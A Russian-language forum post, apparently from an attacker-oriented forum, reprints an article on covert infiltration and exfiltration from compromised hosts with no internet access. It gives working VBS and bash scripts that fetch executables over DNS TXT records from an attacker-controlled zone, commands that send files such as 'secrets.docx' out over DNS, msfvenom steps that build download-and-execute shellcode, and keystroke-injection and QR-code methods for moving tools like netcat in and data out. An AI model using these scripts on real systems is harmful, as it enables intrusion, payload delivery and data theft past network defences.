• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Инфильтрация и эксфильтрация. Изучаем методы передачи данных при пентестах

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Представь, что тебе удалось пробить сетевой периметр и получить доступ к серверу. Сервер входит во внутреннюю сеть компании, а это значит, что ты можешь проникнуть и туда. Но, к сожалению, скомпрометированный узел находится в DMZ и не имеет выхода в интернет. Сможем ли мы пробраться внутрь теперь?

В большинстве случаев внутренние сети никак не ограничивают разрешение DNS-имен произвольных зон. А поскольку природа DNS распределенная, тот или иной DNS-запрос может приходить точно на подконтрольный сервер злоумышленника. В итоге мы получим полноценный канал передачи данных.

В наши дни существуют замечательные решения для организации целых VPN-туннелей через DNS, такие как iodine. При этом, даже если ты не имеешь прав root, ты всегда можешь воспользоваться dnscat или dns2tcp, который пробросит произвольное соединение, скажем, на прокси. И в том и в другом случае ты сможешь преодолеть ограничения файрволов и начать продвижение по внутренней сети.

Но остается нерешенным главный вопрос: как передать эти программы в скомпрометированную сеть? В этом нам поможет набор моих скриптов для инфильтрации и эксфильтрации данных на все случаи жизни. Главная их особенность в полном отсутствии требований к административным привилегиям и прицел на переносимость — ведь на исследуемом сервере окажется либо Windows, либо Linux.

ИНФИЛЬТРАЦИЯ ЧЕРЕЗ DNS​

DNS — наш незаменимый помощник. С помощью следующего кода мы можем скачать любой файл с использованием DNS на любую Windows:

dns_download.vbs​

Код:
On Error Resume Next
Set objShell = CreateObject("WScript.Shell")
Set writer = CreateObject("Scripting.FileSystemObject").createtextfile("c:\windows\temp\out.exe")
For d = 1 To 1190
 pos = 0
 While pos = 0
  Set exec = objShell.Exec("nslookup -type=txt d"&d&".txt.yourzone.tk")
  res = exec.Stdout.ReadAll()
  pos = inStr(1,res,"?")
  txt = Mid(res,pos+1,253)
  Wscript.Echo d & " " & txt
 Wend
 For b = 0 To Len(txt)/2-1
   writer.Write Chr(CInt("&H" & Mid(txt,1+b*2,2)))
 Next
Next
А вот скрипт для Linux:

dns_download.sh​

Код:
#!/bin/bash
for i in `seq $2`
do
    answ=`host -t txt "d$i.txt.$1"|cut -d ' ' -f 4`
    echo ${answ:2:-1} | xxd -r -p - >> $3
    echo $i ${answ:2:-1}
done
Язык VBS обеспечивает нам стопроцентную переносимость между всеми версиями Windows (в отличие от PowerShell). Под Linux, как всегда, используем bash.

На стороне скомпрометированного сервера скрипты запускаются следующим образом.

Вариант для Windows:
Код:
cscript.exe dns_download.vbs
Для Linux:
Код:
./dns_download.sh attacker.tk 1190 /tmp/dnscat
На стороне атакующего — так:
Код:
sudo ./dns_upload.py --udp --file dnscat.exe
Например, на скриншотах ниже программа dns2tcpc.exe передается через DNS с NS-сервера подконтрольной мне DNS-зоны на victim с использованием чистого VBS.
image1.png


image2.png

Произвольные данные будут проходить через TXT-записи в виде hexastring.

Далее мы можем развивать DNS-туннелирование уже с использованием привычных инструментов.

ЭКСФИЛЬТРАЦИЯ ЧЕРЕЗ DNS​

Аналогичным образом мы можем и выгружать файлы с victim. На атакующей стороне это делается так:
Код:
sudo ./dns_download.py --udp --file secrets.docx
На стороне жертвы — так:
Код:
cscript.exe dns_upload.vbs c:\path\to\secrets.docx attacker.tk

DNS-ШЕЛЛ-КОД​

При эксплуатации уязвимостей из интернета нужно помнить, что атакуемая система, скорее всего, находится в DMZ, откуда доступа в интернет у нее может и не быть. Так что заряжать эксплоит reverse_tcp шелл‑кодами окажется бесполезным занятием. Шелл не откроется, и ты подумаешь, что цель неуязвима, пропатчена или просто эксплоит нерабочий. Хотя все дело в payload.

Мы можем внедрить наш DNS-транспорт в любой шелл‑код, используя dns_download_exec:
Код:
msfvenom -p windows/exec CMD=$(cat dns_download_exec.bat) -f raw -o dns_shellcode
Код:
msfvenom -p linux/x86/exec CMD=$(cat dns_download_exec.sh) -f raw -o dns_shellcode
Такой шелл‑код в зависимости от обстоятельств можно вставить в любой эксплоит или инжектить сразу в память. Он не только скачивает по DNS, но еще и запускает принятый файл. Таким образом, например, мы можем сразу передать dnscat либо же что‑то свое.

А теперь перейдем к пивоту в реально трудных обстоятельствах.

ИНФИЛЬТРАЦИЯ ЧЕРЕЗ НАЖАТИЯ КЛАВИШ​

Что делать, если DNS у нас не резолвит внешние зоны? Такое тоже может случиться.

Вне зависимости от того, где ты оказался, будь то реверс‑шелл, Telnet без возможности передачи файлов или, наконец RDP, на котором нет буфера обмена, ты всегда можешь «набить» любой файл, используя отправку нажатием клавиш.

В Linux есть специальная команда xdotool, позволяющая передать текст произвольной длины через простые нажатия клавиш. С помощью этой же утилиты мы можем предварительно активировать фокус на том или ином окне. И всего этого нам достаточно, чтобы передать содержимое любого файла в любое окно. Причем мы можем передать не только текстовый файл (какой‑то скрипт), но и бинарный (любую программу):
Код:
setxkbmap us
cat somescript.ps1 | ./text_send.sh
cat someprog.exe | base64 | ./text_send.sh
Чтобы исключить ошибочный набор текста в том же терминале, скрипт будет ждать клика мышью по тому окну, в котором требуется ввести текст. В примере, показанном на скриншотах ниже, мы успешно передали на атакуемый узел классический netcat.exe.

image3.png


image4.png


Этот метод по скорости схож с DNS и позволил за пятнадцать минут передать netcat.exe (57 Кбайт) без использования побочных каналов, только простым набором текста. Это примерно 125 байт/с, или 1 Мбайт за 2 ч. Этого вполне достаточно для передачи хакерского ПО за умеренное время.

Скрипт может оказаться полезным для автоматизации действий где угодно. Например, всегда можно использовать text_send.sh, чтобы автоматизировать набор длинных скриптов на изолированных victim, если буфер обмена недоступен:
Код:
setxkbmap us
cat dns_download.bat | ./text_send.sh
Если вернуться немного назад, к теме с DNS, то написание в блокноте кода первичного DNS-загрузчика на victim можно было автоматизировать, просто прогнав его код через text_send.sh на атакующей стороне.

image5.png

Аналогично можем «набить» и бинарник, закодированный в Base64.

ЭКСФИЛЬТРАЦИЯ ЧЕРЕЗ QR​

Используя метод с нажатиями клавиш, мы можем загрузить любой файл на машину жертвы. Но как организовать передачу данных в обратном направлении? Есть возможность выкачивать файлы с victim через QR-коды. К счастью, в Linux (attacker-side) распознавание можно автоматизировать: graphicsmagick снимает скриншот экрана, а программа из zbar-tools распознаёт код.

А вот для генерации QR-кодов на victim-side была разработана простая кросс‑платформенная программка, использующая библиотеку QR-Code-generator. Код библиотеки zero-depends, так что он может быть кросс‑компилирован даже под другие архитектуры процессоров (это пригодится, когда проникновение выполняется через устройства наподобие IP-камер). Для компиляции и сборки ее под Windows и Linux выполняем следующие действия.

На стороне жертвы (Windows):
Код:
cl /c lib\qrcodegen.c
cl /c qr_upload.c
link /out:qr_upload.exe qr_upload.obj qrcodegen.obj
"change your color scheme to black on white"
chcp 866
set TIMEOUT=1000
set SIZE=100
qr_upload.exe c:\path\to\secret.bin
На стороне жертвы (Linux):
Код:
gcc -c lib/qrcodegen.c
gcc -c qr_upload.c
gcc qr_upload.c qrcodegen.o -o qr_upload
setterm -background white
setterm -foreground black
TIMEOUT=1000 SIZE=100 ./qr_upload /path/to/secret.bin
При генерации QR-кодов мы задаем через переменные среды количество байтов и продолжительность демонстрации картинки в миллисекундах. Тут важно тонко настроить процесс, чтобы принимающая сторона успевала распознавать данные. А на принимающей стороне (то есть на атакующей машине) тем временем все просто:
Код:
./qr_download.py
Скрипт вначале попросит ткнуть курсором в окно, из которого нужно распознавать (например, RDP-клиент). Дальше весь процесс полностью автоматизирован.

Что немаловажно, на victim QR-коды будут генерироваться прямо в консоль, и пользоваться GUI нам не понадобится. Рекомендуется установить классическую схему «черное на белом» для более качественного распознавания. На изображении ниже показан пример получения произвольного файла с изолированного хоста.

image6.png

QR-эксфильтрация показывает скорость, сопоставимую с DNS. Скорость настраивается самостоятельно, в моем примере она составляла 100 байт/с. Так что, если ты располагаешь достаточным запасом времени, вполне реально выгрузить довольно большие объемы файлов.

НАЖАТИЯ КЛАВИШ + QR = TCP​

Методы инфильтрации с keypress и эксфильтрации c QR-кодами предоставляют возможность передавать данные каждый в своем направлении. И скорости вполне может хватить, чтобы организовать TCP-туннелирование, которое позволит нам пробросить соединение на изолированный хост и начать атаковать узлы внутренних сетей.

Безопасность удаленного рабочего места сейчас особенно актуальна. И даже если администраторы запретили буфер обмена на RDP и решения вроде rdp2tcp не сработают либо ты пробился через Telnet, неспособный к передаче файлов, то всегда есть выход — это метод с передачей данных через QR/keypress. Его невозможно запретить. Кроме того, описанные здесь методы не потребуют поднимать привилегии на машине жертвы.

Автор @s0i37
 
Очень полезный материал! Спасибо. Не сильно разбираюсь в теме, но хотелось бы, поэтому сорян за тупой вопрос:
В download.vbs вместо yourzone.tk указывается наш сервер, на котором мы аплоадим наш файл? Если да, то в каком виде должен быть этот адрес и какие приготовления нужны, чтобы соединение нормально отработало?
Если есть материал по этой теме, буду благодарен ссылке)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх